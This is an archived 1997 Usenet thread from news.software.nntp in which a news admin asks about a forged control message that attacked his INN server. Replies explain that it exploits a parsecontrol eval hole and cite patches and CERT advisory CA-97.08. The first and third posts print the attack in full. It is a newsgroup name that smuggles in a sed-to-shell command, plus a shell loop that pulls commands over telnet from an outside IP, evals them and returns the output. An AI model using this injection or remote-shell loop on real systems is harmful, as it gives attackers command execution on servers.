🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: news.software.nntp
3 messages
3 total messages Started by Armin Kunaschik Mon, 15 Dec 1997 00:00
telnet attack via nntp?
#24377
Author: Armin Kunaschik
Date: Mon, 15 Dec 1997 00:00
35 lines
1660 bytes
Hi everybody,

last night I got the following mail from my inn:
> From: tale@uunet.uu.net (David C Lawrence)
> Newsgroups: comp.sys.mac.printing
> Subject: cmsg newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
> Control: newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
> Date: Sun, 14 Dec 1997 13:15:15 MET
> Organization: Mam nieskonfigurowany newsreader
> Lines: 12
> Message-ID: <670nsr$c7h@zeus.polsl.gliwice.pl>
> NNTP-Posting-Host: rap-cen151.bielsko.tpnet.pl
> Xref: news.pc-plus.de control.newgroup:1377
> 
> #+
> while :; do
>   IN=`/bin/sleep 2 | /bin/telnet 194.204.147.151 21 2>/dev/null | /bin/tail -1`
>   if [ X"$IN" != X"$OIN" ]; then
>     (/bin/sleep 2; eval "$IN" 2>&1) |
>       /bin/telnet 194.204.147.151 21 >/dev/null 2>&1
>     OIN=$IN
>   fi
>   sleep 30
> done
> #-
As far I could figure out it didn't work... but in general it could
work.
Is there any protection against such attacks? What INN versions are
affected?

A little confused
Armin

Re: telnet attack via nntp?
#24370
Author: Andrew Gierth
Date: Mon, 15 Dec 1997 00:00
20 lines
1427 bytes
>>>>> "Armin" == Armin Kunaschik <armin.kunaschik@pc-plus.de> writes:

 Armin> Hi everybody,
 Armin> last night I got the following mail from my inn:
 [recent cmsg-attack snipped]

 Armin> As far I could figure out it didn't work... but in general it
 Armin> could work.  Is there any protection against such attacks?
 Armin> What INN versions are affected?

That one only affects versions before about 1.5.1, and there are fixes
available at isc.org for earlier versions. (It's an attempt to get the
parsecontrol script to use the newsgroup name inside an eval, which
would cause the commands to be executed as the 'news' user.)

-- 
Andrew.

Re: telnet attack via nntp?
#24379
Author: Dale Ghent
Date: Mon, 15 Dec 1997 00:00
38 lines
1851 bytes
Armin Kunaschik wrote:

> > #+
> > while :; do
> >   IN=`/bin/sleep 2 | /bin/telnet 194.204.147.151 21 2>/dev/null | /bin/tail -1`
> >   if [ X"$IN" != X"$OIN" ]; then
> >     (/bin/sleep 2; eval "$IN" 2>&1) |
> >       /bin/telnet 194.204.147.151 21 >/dev/null 2>&1
> >     OIN=$IN
> >   fi
> >   sleep 30
> > done
> > #-
> As far I could figure out it didn't work... but in general it could
> work.
> Is there any protection against such attacks? What INN versions are
> affected?

This is an example of someone sending out a forged control message that
tried to exploit a security hole in inn-1.5.1's parsecontrol script. The
control message tried to execute that code you posted, but if your
parsecontrol is patched, you're okay. INN 1.5.1sec thru current has this
hole plugged, and patches exist on ftp.isc.org/isc/inn/patches for 1.5.1
and 1.4.

See CERT Advisory CA-97.08 at:

http://www.cert.org/pub/advisories/1997/CA-97.08.innd.html

			-Dale G.
-- 
Dale Ghent                        daleg @ digex.net
NetworkNews Administrator             DIGEX, Inc.
http://www.digex.net                Beltsville, MD
                    I speak for myself

Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads